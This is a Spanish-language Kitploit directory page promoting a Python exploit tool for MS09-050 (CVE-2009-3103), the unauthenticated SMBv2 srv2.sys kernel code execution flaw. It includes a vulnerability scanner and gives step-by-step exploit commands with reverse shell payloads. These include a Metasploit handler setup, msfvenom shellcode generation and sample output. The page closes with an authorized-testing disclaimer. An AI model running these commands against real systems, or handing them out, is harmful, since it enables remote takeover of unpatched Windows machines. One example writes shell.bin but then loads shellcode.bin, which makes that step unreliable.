Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
MS09-050 — Exploit en Python para MS09-050 (CVE-2009-3103), desbordamiento de búfer en srv2.sys de SMBv2, con escáner de vulnerabilidades, autodetección de arquitectura y payloads de reverse shell para x86/x64. | Kitploit
Herramientas/GitHubGitHub/bytejmp/ms09-050
Escáneres de VulnerabilidadesGeneración de PayloadsExplotaciónShellcodeRecopilación de InformaciónPost-ExplotaciónSeguridad de RedesPruebas de PenetraciónRed TeamingHerramienta de Acceso Remoto
GitHubbytejmp/ms09-050
hace 13h 57mAún no revisado

MS09-050

Exploit en Python para MS09-050 (CVE-2009-3103), desbordamiento de búfer en srv2.sys de SMBv2, con escáner de vulnerabilidades, autodetección de arquitectura y payloads de reverse shell para x86/x64.

Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

MS09-050 — Exploit de Ejecución Remota de Código en SMBv2

CVE-2009-3103

La Vulnerabilidad

Windows Vista y Server 2008 introdujeron SMBv2 con un nuevo controlador de kernel, srv2.sys. Este controlador no valida el campo Process Id High en las solicitudes de negociación SMB. Al enviar un valor especialmente diseñado en este campo, un atacante provoca que srv2.sys indexe en una tabla de punteros a funciones con un valor controlado, desreferenciando una dirección proporcionada por el atacante.

El resultado es la ejecución de código arbitrario en contexto de kernel, sin necesidad de autenticación. El atacante solo necesita alcanzar el puerto 445.

Microsoft parcheó esto en octubre de 2009 (KB975517). Cualquier sistema Vista SP1/SP2 o Server 2008 SP1 sin parchear es vulnerable.

Sistemas Afectados

SO ObjetivoArquitectura
Windows Vista SP1x86
Windows Vista SP2x86 / x64
Windows Server 2008 SP1x86 / x64
Windows Server 2008 SP1 (pre-R2)x64

Características

  • Módulo escáner: identifica el SO y la arquitectura del objetivo mediante la negociación SMB, e informa el estado de vulnerabilidad
  • Detección automática de arquitectura: el escáner alimenta directamente la información de arquitectura al exploit, sin necesidad de adivinarla manualmente
  • Payload integrado: stager meterpreter/reverse_tcp para x86, listo para usar con multi/handler
  • Integración con msfvenom: genera cualquier payload para cualquier arquitectura mediante msfvenom, con la opción --msf-payload para elegir un payload personalizado
  • Soporte de shellcode personalizado: carga cualquier archivo de shellcode en bruto (-s)
  • Salida estructurada: [+] éxito, [-] error, [!] advertencia, [*] información

Instalación

root@kitploit:~
git clone https://github.com/bytejmp/MS09-050.git
cd MS09-050

Requisitos:

  • Python 3.6+
  • rpcclient (del paquete smbclient), usado para desencadenar el payload tras la inyección
  • msfvenom, solo necesario si se usa la opción --msfvenom

En Debian/Ubuntu:

root@kitploit:~
sudo apt install smbclient

En Arch Linux:

root@kitploit:~
sudo pacman -S smbclient

Uso

Escanear un objetivo

root@kitploit:~
python3 MS09.py scan -t 192.168.1.10

Salida:

root@kitploit:~
[*] Scanning 192.168.1.10:445...
[+] Target 192.168.1.10 is reachable
[+] SMBv2 supported
[*] OS: Windows Vista (TM) Ultimate 6001 Service Pack 1
[*] Architecture: x86
[+] Target appears VULNERABLE to MS09-050

Explotar con payload integrado (x86)

Usa un stager meterpreter/reverse_tcp. Inicia primero tu handler:

root@kitploit:~
msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST 10.0.0.5; set LPORT 4444; run"

Luego ejecuta el exploit:

root@kitploit:~
python3 MS09.py exploit -t 192.168.1.10 --payload -l 10.0.0.5 -p 4444

Explotar con msfvenom (cualquier arquitectura/payload)

root@kitploit:~
python3 MS09.py exploit -t 192.168.1.10 --msfvenom -l 10.0.0.5 -p 4444 -a x64

Explotar con msfvenom (payload personalizado)

root@kitploit:~
python3 MS09.py exploit -t 192.168.1.10 --msfvenom --msf-payload windows/meterpreter/reverse_tcp -l 10.0.0.5 -p 4444

Explotar con archivo de shellcode personalizado

Genera el shellcode en bruto una vez y reutilízalo sin msfvenom:

root@kitploit:~
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 EXITFUNC=thread -f raw -o shell.bin

Luego pásalo al exploit:

root@kitploit:~
python3 MS09.py exploit -t 192.168.1.10 -s shellcode.bin -a x86

Ayuda completa

root@kitploit:~
$ python3 MS09.py -h

usage: MS09.py [-h] {scan,exploit} ...

MS09-050 SMBv2 Remote Code Execution Exploit (CVE-2009-3103)

positional arguments:
  {scan,exploit}  Operation mode
    scan          Scan target for MS09-050 vulnerability
    exploit       Send exploit to target

$ python3 MS09.py exploit -h

usage: MS09.py exploit [-h] -t TARGET [-P PORT] [-a {x86,x64}]
                        (--payload | --msfvenom | -s FILE)
                        [-l LHOST] [-p LPORT] [--msf-payload PAYLOAD]

options:
  -t, --target      Target IP address
  -P, --port        SMB port (default: 445)
  -a, --arch        Target architecture (auto-detected if omitted)
  --payload         Use built-in reverse shell payload (no Metasploit needed)
  --msfvenom        Generate shellcode with msfvenom
  --msf-payload     msfvenom payload (default: shell_reverse_tcp x86, x64/shell_reverse_tcp x64)
  -s, --shellcode   Path to raw shellcode file
  -l, --lhost       Listener IP address
  -p, --lport       Listener port

Estructura del Proyecto

root@kitploit:~
MS09/
├── MS09.py              # Main entry point
├── README.md
└── lib/
    ├── __init__.py
    ├── output.py        # Standardized output formatting
    ├── scanner.py       # SMBv2 vulnerability scanner
    ├── payloads.py      # Built-in shellcode (reverse TCP shell)
    └── exploit.py       # Exploit buffer construction and delivery

Cómo Funciona

  1. El escáner envía una Negotiate Protocol Request de SMB1 para identificar la versión del SO y la arquitectura del objetivo
  2. El exploit construye una solicitud de negociación SMBv2 malformada que desborda un búfer en srv2.sys
  3. Se utiliza un stager con hook de sysenter para obtener la ejecución inicial de código en contexto de kernel
  4. El stager transiciona a modo usuario y ejecuta el shellcode proporcionado (reverse shell)
  5. rpcclient desencadena el código inyectado iniciando un intento de autenticación SMB

Referencias

  • CVE-2009-3103
  • Microsoft Security Bulletin MS09-050
  • SRV2.SYS SMBv2 Vulnerability Analysis

Descargo de Responsabilidad

Esta herramienta se proporciona únicamente para pruebas de penetración autorizadas y fines educativos.

El acceso no autorizado a sistemas informáticos es un delito penal en la mayoría de las jurisdicciones. Debe obtener permiso explícito por escrito del propietario del sistema antes de usar esta herramienta contra cualquier objetivo. Los autores no asumen ninguna responsabilidad y no son responsables de ningún uso indebido o daño causado por este software.

Al usar esta herramienta, usted acepta que:

  • Tiene autorización por escrito para probar el sistema objetivo
  • Está operando dentro del alcance de una evaluación de seguridad legítima
  • Acepta total responsabilidad por sus acciones
  • Cumplirá con todas las leyes y regulaciones aplicables

Usa responsablemente. Hackea éticamente.

Descargar herramienta